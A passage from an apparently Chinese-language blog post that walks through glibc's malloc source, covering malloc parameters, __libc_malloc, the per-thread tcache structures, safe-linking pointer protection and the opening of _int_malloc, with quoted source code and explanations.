0，但在实际运行中，分配器可能会为了减少系统调用次数而申请比需求更多的空间。 .trim_threshold = DEFAULT_TRIM_THRESHOLD 默认值：128 KB。 作用：收缩阈值。当 top chunk的空闲空间超过这个值时，free 会自动调用 sbrk(-size) 将内存归还给内核。 .mmap_threshold = DEFAULT_MMAP_THRESHOLD 默认值：128 KB。 作用：核心决策点。如果用户申请的内存大于此值，free 将放弃从堆分配，转而使用 mmap 直接向内核申请一块独立的匿名映射区域。 动态特性：在现代 glibc 中，如果没有手动设置此值，它会根据已释放块的大小动态增长，以减少频繁 mmap/munmap 带来的性能抖动。 2. Mmap 限制\n.n_mmaps_max = DEFAULT_MMAP_MAX 默认值：通常是 65536。 作用：限制进程同时拥有的 mmap 分配块的总数。这是为了防止大量零碎的 mmap 耗尽操作系统的虚拟内存区域资源。 3. Arena 创建逻辑\n.arena_test = NARENAS_FROM_NCORES (1) 宏定义解析：#define NARENAS_FROM_NCORES(n) ((n) * (sizeof (long) == 4 ? 2 : 8)) 32位系统 (long=4)：每个核心对应 2 个 Arena。 64位系统 (long=8)：每个核心对应 8 个 Arena。 逻辑说明：这里初始化传入参数为 1。意味着在单核配置参考下，64位系统默认“预设”了 8 个 Arena 的探测阈值。 设计目的：这是为了在性能（减少锁竞争）和内存（ Arena 结构体本身占空间）之间取得平衡。64位系统内存大，所以允许创建更多的 Arena（最高可达 8 * 核心数 ）。 4. Tcache (Thread Local Cache) 配置 这是 glibc 2.26+ 性能大幅提升的关键，它在 malloc_state 之外为每个线程提供了一层极速缓存。\n.tcache_count = TCACHE_FILL_COUNT 默认值：7。 作用：每个 Tcache bin 最多存放多少个空闲块。如果一个线程连续释放 10 个 0x20 的块，前 7 个进 Tcache，后 3 个才会进全局的 Fastbin。 .tcache_bins = TCACHE_MAX_BINS 默认值：64。 作用：Tcache 覆盖的大小范围数量。 .tcache_max_bytes = tidx2usize (TCACHE_MAX_BINS-1) 默认值：通常是 1032 字节 (64位系统)。 作用：Tcache 管理的最大块尺寸。在这个尺寸以下的内存申请，都会优先检查线程本地缓存，不需要加锁，速度极快。 .tcache_unsorted_limit = 0 作用：限制从 unsorted bin 搬运块到 Tcache 的数量。设置为 0 表示不限制，即尽可能填满 Tcache 桶。 __libc_malloc 源码分析 __libc_malloc 源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 void * __libc_malloc (size_t bytes) { mstate ar_ptr; void *victim; _Static_assert (PTRDIFF_MAX \u0026lt;= SIZE_MAX / 2, \u0026#34;PTRDIFF_MAX is not more than half of SIZE_MAX\u0026#34;); if (!__malloc_initialized) ptmalloc_init (); #if USE_TCACHE /* int_free also calls request2size, be careful to not pad twice. */ size_t tbytes; if (!checked_request2size (bytes, \u0026amp;tbytes)) { __set_errno (ENOMEM); return NULL; } size_t tc_idx = csize2tidx (tbytes); MAYBE_INIT_TCACHE (); DIAG_PUSH_NEEDS_COMMENT; if (tc_idx \u0026lt; mp_.tcache_bins \u0026amp;\u0026amp; tcache \u0026amp;\u0026amp; tcache-\u0026gt;counts[tc_idx] \u0026gt; 0) { victim = tcache_get (tc_idx); return tag_new_usable (victim); } DIAG_POP_NEEDS_COMMENT; #endif if (SINGLE_THREAD_P) { victim = tag_new_usable (_int_malloc (\u0026amp;main_arena, bytes)); assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || \u0026amp;main_arena == arena_for_chunk (mem2chunk (victim))); return victim; } arena_get (ar_ptr, bytes); victim = _int_malloc (ar_ptr, bytes); /* Retry with another arena only if we were able to find a usable arena before. */ if (!victim \u0026amp;\u0026amp; ar_ptr != NULL) { LIBC_PROBE (memory_malloc_retry, 1, bytes); ar_ptr = arena_get_retry (ar_ptr, bytes); victim = _int_malloc (ar_ptr, bytes); } if (ar_ptr != NULL) __libc_lock_unlock (ar_ptr-\u0026gt;mutex); victim = tag_new_usable (victim); assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || ar_ptr == arena_for_chunk (mem2chunk (victim))); return victim; } libc_hidden_def (__libc_malloc) Tcache 相关 调用 checked_request2size 1 2 3 4 5 6 7 /* int_free also calls request2size, be careful to not pad twice. */ size_t tbytes; if (!checked_request2size (bytes, \u0026amp;tbytes)) { __set_errno (ENOMEM); return NULL; } checked_request2size 负责检查 bytes 是否会导致溢出，并根据申请的 bytes 计算实际应分配的内存大小，用 tbytes 记录，这块内存大小即 chunk 的实际大小\nrequest2size 宏中 SIZE_SZ 为 size_t 类型的大小， MALLOC_ALIGN_MASK 为 MALLOC_ALIGNMENT - 1 ，其中 MALLOC_ALIGNMENT 是内存对齐的字节数， MINSIZE 为堆分配的最小字节数\n64 位下， SIZE_SZ 为 8 ， MALLOC_ALIGNMENT 为 16 ， MALLOC_ALIGN_MASK 为 0b1111 ， MINSIZE 为 32 32 位下， SIZE_SZ 为 4 ， MALLOC_ALIGNMENT 为 8 ， MALLOC_ALIGN_MASK 为 0b111 ， MINSIZE 为 16\n64 位 下 request2size 满足 0x8 舍 0x9 入： 0x28 -\u0026gt; 0x30 , 0x29 -\u0026gt; 0x40 ，其结果是对齐 16 位的\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 /* pad request bytes into a usable size -- internal version */ /* Note: This must be a macro that evaluates to a compile time constant if passed a literal constant. */ #define request2size(req) \\ (((req) + SIZE_SZ + MALLOC_ALIGN_MASK \u0026lt; MINSIZE) ? \\ MINSIZE : \\ ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) \u0026amp; ~MALLOC_ALIGN_MASK) /* Check if REQ overflows when padded and aligned and if the resulting value is less than PTRDIFF_T. Returns TRUE and the requested size or MINSIZE in case the value is less than MINSIZE on SZ or false if any of the previous check fail. */ static inline bool checked_request2size (size_t req, size_t *sz) __nonnull (1) { if (__glibc_unlikely (req \u0026gt; PTRDIFF_MAX)) return false; /* When using tagged memory, we cannot share the end of the user block with the header for the next chunk, so ensure that we allocate blocks that are rounded up to the granule size. Take care not to overflow from close to MAX_SIZE_T to a small number. Ideally, this would be part of request2size(), but that must be a macro that produces a compile time constant if passed a constant literal. */ if (__glibc_unlikely (mtag_enabled)) { /* Ensure this is not evaluated if !mtag_enabled, see gcc PR 99551. */ asm (\u0026#34;\u0026#34;); req = (req + (__MTAG_GRANULE_SIZE - 1)) \u0026amp; ~(size_t)(__MTAG_GRANULE_SIZE - 1); } *sz = request2size (req); return true; } 调用 csize2tidx 1 size_t tc_idx = csize2tidx (tbytes); 回到 __libc_malloc ，csize2tidx 负责将分配的字节数 nb 线性映射为对应 num_slots 和 entries 的下标 tc_idx，即 0x20 -\u0026gt; 0 , 0x30 -\u0026gt; 1 \u0026hellip; 0x410 -\u0026gt; 63\n1 2 /* When \u0026#34;x\u0026#34; is from chunksize(). */ # define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT) 1 2 3 4 /* The smallest size we can malloc is an aligned minimal chunk */ #define MINSIZE \\ (unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) \u0026amp; ~MALLOC_ALIGN_MASK)) 初始化 Tcache 1 MAYBE_INIT_TCACHE (); tcache_init 源码 1 2 3 # define MAYBE_INIT_TCACHE() \\ if (__glibc_unlikely (tcache == NULL)) \\ tcache_init(); 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 static void tcache_init(void) { mstate ar_ptr; void *victim = 0; const size_t bytes = sizeof (tcache_perthread_struct); if (tcache_shutting_down) return; arena_get (ar_ptr, bytes); victim = _int_malloc (ar_ptr, bytes); if (!victim \u0026amp;\u0026amp; ar_ptr != NULL) { ar_ptr = arena_get_retry (ar_ptr, bytes); victim = _int_malloc (ar_ptr, bytes); } if (ar_ptr != NULL) __libc_lock_unlock (ar_ptr-\u0026gt;mutex); /* In a low memory situation, we may not be able to allocate memory - in which case, we just keep trying later. However, we typically do this very early, so either there is sufficient memory, or there isn\u0026#39;t enough memory to do non-trivial allocations anyway. */ if (victim) { tcache = (tcache_perthread_struct *) victim; memset (tcache, 0, sizeof (tcache_perthread_struct)); } } tcache_init 展示了 malloc 是如何“自举”的。为了实现无锁的 Tcache 分配，它必须先通过有锁的 _int_malloc 分配出 Tcache 结构。这意味着每个线程的第一次 malloc 总是比较慢的，因为要进 tcache_init 走加锁路径\n分配 Tcache 1 2 3 4 5 6 7 8 9 DIAG_PUSH_NEEDS_COMMENT; if (tc_idx \u0026lt; mp_.tcache_bins \u0026amp;\u0026amp; tcache \u0026amp;\u0026amp; tcache-\u0026gt;counts[tc_idx] \u0026gt; 0) { victim = tcache_get (tc_idx); return tag_new_usable (victim); } DIAG_POP_NEEDS_COMMENT; 当 tc_idx 未超界且 tcache 中存在 free chunk 时使用 tcache_get (tc_idx) 获取一个 chunk 并将该 chunk 标记为 usable\nmp_ 结构体 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 /* There is only one instance of the malloc parameters. */ static struct malloc_par mp_ = { .top_pad = DEFAULT_TOP_PAD, .n_mmaps_max = DEFAULT_MMAP_MAX, .mmap_threshold = DEFAULT_MMAP_THRESHOLD, .trim_threshold = DEFAULT_TRIM_THRESHOLD, #define NARENAS_FROM_NCORES(n) ((n) * (sizeof (long) == 4 ? 2 : 8)) .arena_test = NARENAS_FROM_NCORES (1) #if USE_TCACHE , .tcache_count = TCACHE_FILL_COUNT, .tcache_bins = TCACHE_MAX_BINS, .tcache_max_bytes = tidx2usize (TCACHE_MAX_BINS-1), .tcache_unsorted_limit = 0 /* No limit. */ #endif }; 1 2 3 mp_.tcache_count = TCACHE_FILL_COUNT = 7 mp_.tcache_bins = TCACHE_MAX_BINS = 64 mp_.tcache_max_bytes = tidx2usize (TCACHE_MAX_BINS-1) = 0x408 由此可知，tc_idx 上限为 63，仅 0x20 , 0x30 \u0026hellip; 0x410 大小的 chunk 会被 Tcache 管辖\nTcache 结构体 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 /* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache. */ typedef struct tcache_entry { struct tcache_entry *next; /* This field exists to detect double frees. */ uintptr_t key; } tcache_entry; /* There is one of these for each thread, which contains the per-thread cache (hence \u0026#34;tcache_perthread_struct\u0026#34;). Keeping overall size low is mildly important. Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons. */ typedef struct tcache_perthread_struct { uint16_t counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct; static __thread bool tcache_shutting_down = false; static __thread tcache_perthread_struct *tcache = NULL; /* Process-wide key to try and catch a double-free in the same thread. */ static uintptr_t tcache_key; tcache 是单向链表， LIFO\ntcache_entry 结构体起始于 chunk + 0x10 字节处，这正是原本返回给用户的指针地址 next 字段 占用了原本 fd 的位置 key 字段 占用了原本 bk 的位置\ncounts 用于统计每个类别的 BIN 中有多少 free chunk ， entries 是属于该 BIN 的 free chunk 的链表头\ntcache_perthread_struct 本身也是堆内存。如果你在 GDB 中查看一个线程，你会发现它的 tcache 指针通常指向该线程申请的第一个大块内存\ntcache_key 和 tcache_entry 中的 key 针对 Double Free 进行防护，暂略\n1 2 3 4 5 6 7 8 9 10 11 [ 线程 A 的 TLS 区域 ] | +-- tcache 指针 ----+ | [ 堆内存 (Heap / Arena) ] \u0026lt;---+ | | +--\u0026gt; [ tcache_perthread_struct ] (管理结构) | +-- entries[0] --\u0026gt; [ 空闲块 1 ] --\u0026gt; [ 空闲块 2 ] | +-- entries[1] --\u0026gt; [ 空闲块 A ] --\u0026gt; [ 空闲块 B ] tcache_get 源码 1 2 3 4 5 6 7 8 9 10 11 12 13 /* Caller must ensure that we know tc_idx is valid and there\u0026#39;s available chunks to remove. */ static __always_inline void * tcache_get (size_t tc_idx) { tcache_entry *e = tcache-\u0026gt;entries[tc_idx]; if (__glibc_unlikely (!aligned_OK (e))) malloc_printerr (\u0026#34;malloc(): unaligned tcache chunk detected\u0026#34;); tcache-\u0026gt;entries[tc_idx] = REVEAL_PTR (e-\u0026gt;next); --(tcache-\u0026gt;counts[tc_idx]); e-\u0026gt;key = 0; return (void *) e; } PROTECT_PTR 宏 1 2 3 4 5 6 7 8 9 10 11 12 /* Safe-Linking: Use randomness from ASLR (mmap_base) to protect single-linked lists of Fast-Bins and TCache. That is, mask the \u0026#34;next\u0026#34; pointers of the lists\u0026#39; chunks, and also perform allocation alignment checks on them. This mechanism reduces the risk of pointer hijacking, as was done with Safe-Unlinking in the double-linked lists of Small-Bins. It assumes a minimum page size of 4096 bytes (12 bits). Systems with larger pages provide less entropy, although the pointer mangling still works. */ #define PROTECT_PTR(pos, ptr) \\ ((__typeof (ptr)) ((((size_t) pos) \u0026gt;\u0026gt; 12) ^ ((size_t) ptr))) #define REVEAL_PTR(ptr) PROTECT_PTR (\u0026amp;ptr, ptr) tcache_get 获取 tcache-\u0026gt;entries[tc_idx] 中存放的指针，并让 tcache-\u0026gt;entries[tc_idx]-\u0026gt;next 解密后取代 tcache-\u0026gt;entries[tc_idx] ，然后减少 BIN 的计数，并将取出的 tcache_entry 的 key 标记清空\n可以注意到，tcache-\u0026gt;entries[tc_idx] 存的指针并没有被加密，而 tcache_entry 的 next 指针均会被加密，加密方式为指针与右移 12 位的指针在堆上的地址进行异或\ntag_new_usable 源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 /* If memory tagging is enabled the layout changes to accommodate the granule size, this is wasteful for small allocations so not done by default. Both the chunk header and user data has to be granule aligned. */ _Static_assert (__MTAG_GRANULE_SIZE \u0026lt;= CHUNK_HDR_SZ, \u0026#34;memory tagging is not supported with large granule.\u0026#34;); static __always_inline void * tag_new_usable (void *ptr) { if (__glibc_unlikely (mtag_enabled) \u0026amp;\u0026amp; ptr) { mchunkptr cp = mem2chunk(ptr); ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp)); } return ptr; } 1 2 /* Convert a user mem pointer to a chunk address and extract the right tag. */ #define mem2chunk(mem) ((mchunkptr)tag_at (((char*)(mem) - CHUNK_HDR_SZ))) 1 #define CHUNK_HDR_SZ (2 * SIZE_SZ) 1 2 3 4 5 6 /* This is the size of the real usable data in the chunk. Not valid for dumped heap chunks. */ #define memsize(p) \\ (__MTAG_GRANULE_SIZE \u0026gt; SIZE_SZ \u0026amp;\u0026amp; __glibc_unlikely (mtag_enabled) ? \\ chunksize (p) - CHUNK_HDR_SZ : \\ chunksize (p) - CHUNK_HDR_SZ + (chunk_is_mmapped (p) ? 0 : SIZE_SZ)) mem2chunk 将原本指向 chunk 数据区的指针转换至 chunk header 区域\n1 ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp)); 主要用于对新分配的内存进行标签初始化\n有锁分配相关 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 if (SINGLE_THREAD_P) { victim = tag_new_usable (_int_malloc (\u0026amp;main_arena, bytes)); assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || \u0026amp;main_arena == arena_for_chunk (mem2chunk (victim))); return victim; } arena_get (ar_ptr, bytes); victim = _int_malloc (ar_ptr, bytes); /* Retry with another arena only if we were able to find a usable arena before. */ if (!victim \u0026amp;\u0026amp; ar_ptr != NULL) { LIBC_PROBE (memory_malloc_retry, 1, bytes); ar_ptr = arena_get_retry (ar_ptr, bytes); victim = _int_malloc (ar_ptr, bytes); } if (ar_ptr != NULL) __libc_lock_unlock (ar_ptr-\u0026gt;mutex); victim = tag_new_usable (victim); assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || ar_ptr == arena_for_chunk (mem2chunk (victim))); return victim; arena 相关暂略，剩下的部分交给了 _int_malloc\n_int_malloc 源码分析 _int_malloc 源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 /* ------------------------------ malloc ------------------------------ */ static void * _int_malloc (mstate av, size_t bytes) { INTERNAL_SIZE_T nb; /* normalized request size */ unsigned int idx; /* associated bin index */ mbinptr bin; /* associated bin */ mchunkptr victim; /* inspected/selected chunk */ INTERNAL_SIZE_T size; /* its size */ int victim_index; /* its bin index */ mchunkptr remainder; /* remainder from a split */ unsigned long remainder_size; /* its size */ unsigned int block; /* bit map traverser */ unsigned int bit; /* bit map traverser */ unsigned int map; /* current word of binmap */ mchunkptr fwd; /* misc temp for linking */ mchunkptr bck; /* misc temp for linking */ #if USE_TCACHE size_t tcache_unsorted_count;\t/* count of unsorted chunks processed */ #endif /* Convert request size to internal form by adding SIZE_SZ bytes overhead plus possibly more to obtain necessary alignment and/or to obtain a size of at least MINSIZE, the smallest allocatable size. Also, checked_request2size returns false for request sizes that are so large that they wrap around zero when padded and aligned. */ if (!checked_request2size (bytes, \u0026amp;nb)) { __set_errno (ENOMEM); return NULL; } /* There are no usable arenas. Fall back to sysmalloc to get a chunk from mmap. */ if (__glibc_unlikely (av == NULL)) { void *p = sysmalloc (nb, av); if (p != NULL) alloc_perturb (p, bytes); return p; } /* If the size qualifies as a fastbin, first check corresponding bin. This code is safe to execute even if av is not yet initialized, so we can try it without checking, which saves some time on this fast path. */ #define REMOVE_FB(fb, victim, pp)\t\\ do\t\\ {\t\\ victim = pp;\t\\ if (victim == NULL)\t\\ break;\t\\ pp = REVEAL_PTR (victim-\u0026gt;fd); \\ if (__glibc_unlikely (pp != NULL \u0026amp;\u0026amp; misaligned_chunk (pp))) \\ malloc_printerr (\u0026#34;malloc(): unaligned fastbin chunk detected\u0026#34;); \\ }\t\\ while ((pp = catomic_compare_and_exchange_val_acq (fb, pp, victim)) \\ != victim);\t\\ if ((unsigned long) (nb) \u0026lt;= (unsigned long) (get_max_fast ())) { idx = fastbin_index (nb); mfastbinptr *fb = \u0026amp;fastbin (av, idx); mchunkptr pp; victim = *fb; if (victim != NULL) { if (__glibc_unlikely (misaligned_chunk (victim))) malloc_printerr (\u0026#34;malloc(): unaligned fastbin chunk detected 2\u0026#34;); if (SINGLE_THREAD_P) *fb = REVEAL_PTR (victim-\u0026gt;fd); else REMOVE_FB (fb, pp, victim); if (__glibc_likely (victim != NULL)) { size_t victim_idx = fastbin_index (chunksize (victim)); if (__builtin_expect (victim_idx != idx, 0)) malloc_printerr (\u0026#34;malloc(): memory corruption (fast)\u0026#34;); check_remalloced_chunk (av, victim, nb); #if USE_TCACHE /* While we\u0026#39;re here, if we see other chunks of the same size, stash them in the tcache. */ size_t tc_idx = csize2tidx (nb); if (tcache \u0026amp;\u0026amp; tc_idx \u0026lt; mp_.tcache_bins) { mchunkptr tc_victim; /* While bin not empty and tcache not full, copy chunks. */ while (tcache-\u0026gt;counts[tc_idx] \u0026lt; mp_.tcache_count \u0026amp;\u0026amp; (tc_victim = *fb) != NULL) { if (__glibc_unlikely (misaligned_chunk (tc_victim))) malloc_printerr (\u0026#34;malloc(): unaligned fastbin chunk detected 3\u0026#34;); if (SINGLE_THREAD_P) *fb = REVEAL_PTR (tc_victim-\u0026gt;fd); else { REMOVE_FB (fb, pp, tc_victim); if (__glibc_unlikely (tc_victim == NULL)) break; } tcache_put (tc_victim, tc_idx); } } #endif void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } } } /* If a small request, check regular bin. Since these \u0026#34;smallbins\u0026#34; hold one size each, no searching within bins is necessary. (For a large request, we need to wait until unsorted chunks are processed to find best fit. But for small ones, fits are exact anyway, so we can check now, which is faster.) */ if (in_smallbin_range (nb)) { idx = smallbin_index (nb); bin = bin_at (av, idx); if ((victim = last (bin)) != bin) { bck = victim-\u0026gt;bk; if (__glibc_unlikely (bck-\u0026gt;fd != victim)) malloc_printerr (\u0026#34;malloc(): smallbin double linked list corrupted\u0026#34;); set_inuse_bit_at_offset (victim, nb); bin-\u0026gt;bk = bck; bck-\u0026gt;fd = bin; if (av != \u0026amp;main_arena) set_non_main_arena (victim); check_malloced_chunk (av, victim, nb); #if USE_TCACHE /* While we\u0026#39;re here, if we see other chunks of the same size, stash them in the tcache. */ size_t tc_idx = csize2tidx (nb); if (tcache \u0026amp;\u0026amp; tc_idx \u0026lt; mp_.tcache_bins) { mchunkptr tc_victim; /* While bin not empty and tcache not full, copy chunks over. */ while (tcache-\u0026gt;counts[tc_idx] \u0026lt; mp_.tcache_count \u0026amp;\u0026amp; (tc_victim = last (bin)) != bin) { if (tc_victim != 0) { bck = tc_victim-\u0026gt;bk; set_inuse_bit_at_offset (tc_victim, nb); if (av != \u0026amp;main_arena) set_non_main_arena (tc_victim); bin-\u0026gt;bk = bck; bck-\u0026gt;fd = bin; tcache_put (tc_victim, tc_idx); } } } #endif void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } } /* If this is a large request, consolidate fastbins before continuing. While it might look excessive to kill all fastbins before even seeing if there is space available, this avoids fragmentation problems normally associated with fastbins. Also, in practice, programs tend to have runs of either small or large requests, but less often mixtures, so consolidation is not invoked all that often in most programs. And the programs that it is called frequently in otherwise tend to fragment. */ else { idx = largebin_index (nb); if (atomic_load_relaxed (\u0026amp;av-\u0026gt;have_fastchunks)) malloc_consolidate (av); } /* Process recently freed or remaindered chunks, taking one only if it is exact fit, or, if this a small request, the chunk is remainder from the most recent non-exact fit. Place other traversed chunks in bins. Note that this step is the only place in any routine where chunks are placed in bins. The outer loop here is needed because we might not realize until near the end of malloc that we should have consolidated, so must do so and retry. This happens at most once, and only when we would otherwise need to expand memory to service a \u0026#34;small\u0026#34; request. */ #if USE_TCACHE INTERNAL_SIZE_T tcache_nb = 0; size_t tc_idx = csize2tidx (nb); if (tcache \u0026amp;\u0026amp; tc_idx \u0026lt; mp_.tcache_bins) tcache_nb = nb; int return_cached = 0; tcache_unsorted_count = 0; #endif for (;; ) { int iters = 0; while ((victim = unsorted_chunks (av)-\u0026gt;bk) != unsorted_chunks (av)) { bck = victim-\u0026gt;bk; size = chunksize (victim); mchunkptr next = chunk_at_offset (victim, size); if (__glibc_unlikely (size \u0026lt;= CHUNK_HDR_SZ) || __glibc_unlikely (size \u0026gt; av-\u0026gt;system_mem)) malloc_printerr (\u0026#34;malloc(): invalid size (unsorted)\u0026#34;); if (__glibc_unlikely (chunksize_nomask (next) \u0026lt; CHUNK_HDR_SZ) || __glibc_unlikely (chunksize_nomask (next) \u0026gt; av-\u0026gt;system_mem)) malloc_printerr (\u0026#34;malloc(): invalid next size (unsorted)\u0026#34;); if (__glibc_unlikely ((prev_size (next) \u0026amp; ~(SIZE_BITS)) != size)) malloc_printerr (\u0026#34;malloc(): mismatching next-\u0026gt;prev_size (unsorted)\u0026#34;); if (__glibc_unlikely (bck-\u0026gt;fd != victim) || __glibc_unlikely (victim-\u0026gt;fd != unsorted_chunks (av))) malloc_printerr (\u0026#34;malloc(): unsorted double linked list corrupted\u0026#34;); if (__glibc_unlikely (prev_inuse (next))) malloc_printerr (\u0026#34;malloc(): invalid next-\u0026gt;prev_inuse (unsorted)\u0026#34;); /* If a small request, try to use last remainder if it is the only chunk in unsorted bin. This helps promote locality for runs of consecutive small requests. This is the only exception to best-fit, and applies only when there is no exact fit for a small chunk. */ if (in_smallbin_range (nb) \u0026amp;\u0026amp; bck == unsorted_chunks (av) \u0026amp;\u0026amp; victim == av-\u0026gt;last_remainder \u0026amp;\u0026amp; (unsigned long) (size) \u0026gt; (unsigned long) (nb + MINSIZE)) { /* split and reattach remainder */ remainder_size = size - nb; remainder = chunk_at_offset (victim, nb); unsorted_chunks (av)-\u0026gt;bk = unsorted_chunks (av)-\u0026gt;fd = remainder; av-\u0026gt;last_remainder = remainder; remainder-\u0026gt;bk = remainder-\u0026gt;fd = unsorted_chunks (av); if (!in_smallbin_range (remainder_size)) { remainder-\u0026gt;fd_nextsize = NULL; remainder-\u0026gt;bk_nextsize = NULL; } set_head (victim, nb | PREV_INUSE | (av != \u0026amp;main_arena ? NON_MAIN_ARENA : 0)); set_head (remainder, remainder_size | PREV_INUSE); set_foot (remainder, remainder_size); check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } /* remove from unsorted list */ if (__glibc_unlikely (bck-\u0026gt;fd != victim)) malloc_printerr (\u0026#34;malloc(): corrupted unsorted chunks 3\u0026#34;); unsorted_chunks (av)-\u0026gt;bk = bck; bck-\u0026gt;fd = unsorted_chunks (av); /* Take now instead of binning if exact fit */ if (size == nb) { set_inuse_bit_at_offset (victim, size); if (av != \u0026amp;main_arena) set_non_main_arena (victim); #if USE_TCACHE /* Fill cache first, return to user only if cache fills. We may return one of these chunks later. */ if (tcache_nb \u0026amp;\u0026amp; tcache-\u0026gt;counts[tc_idx] \u0026lt; mp_.tcache_count) { tcache_put (victim, tc_idx); return_cached = 1; continue; } else { #endif check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; #if USE_TCACHE } #endif } /* place chunk in bin */ if (in_smallbin_range (size)) { victim_index = smallbin_index (size); bck = bin_at (av, victim_index); fwd = bck-\u0026gt;fd; } else { victim_index = largebin_index (size); bck = bin_at (av, victim_index); fwd = bck-\u0026gt;fd; /* maintain large bins in sorted order */ if (fwd != bck) { /* Or with inuse bit to speed comparisons */ size |= PREV_INUSE; /* if smaller than smallest, bypass loop below */ assert (chunk_main_arena (bck-\u0026gt;bk)); if ((unsigned long) (size) \u0026lt; (unsigned long) chunksize_nomask (bck-\u0026gt;bk)) { fwd = bck; bck = bck-\u0026gt;bk; victim-\u0026gt;fd_nextsize = fwd-\u0026gt;fd; victim-\u0026gt;bk_nextsize = fwd-\u0026gt;fd-\u0026gt;bk_nextsize; fwd-\u0026gt;fd-\u0026gt;bk_nextsize = victim-\u0026gt;bk_nextsize-\u0026gt;fd_nextsize = victim; } else { assert (chunk_main_arena (fwd)); while ((unsigned long) size \u0026lt; chunksize_nomask (fwd)) { fwd = fwd-\u0026gt;fd_nextsize; assert (chunk_main_arena (fwd)); } if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd)) /* Always insert in the second position. */ fwd = fwd-\u0026gt;fd; else { victim-\u0026gt;fd_nextsize = fwd; victim-\u0026gt;bk_nextsize = fwd-\u0026gt;bk_nextsize; if (__glibc_unlikely (fwd-\u0026gt;bk_nextsize-\u0026gt;fd_nextsize != fwd)) malloc_printerr (\u0026#34;malloc(): largebin double linked list corrupted (nextsize)\u0026#34;); fwd-\u0026gt;bk_nextsize = victim; victim-\u0026gt;bk_nextsize-\u0026gt;fd_nextsize = victim; } bck = fwd-\u0026gt;bk; if (bck-\u0026gt;fd != fwd) malloc_printerr (\u0026#34;malloc(): largebin double linked list corrupted (bk)\u0026#34;); } } else victim-\u0026gt;fd_nextsize = victim-\u0026gt;bk_nextsize = victim; } mark_bin (av, victim_index); victim-\u0026gt;bk = bck; victim-\u0026gt;fd = fwd; fwd-\u0026gt;bk = victim; bck-\u0026gt;fd = victim; #if USE_TCACHE /* If we\u0026#39;ve processed as many chunks as we\u0026#39;re allowed while filling the 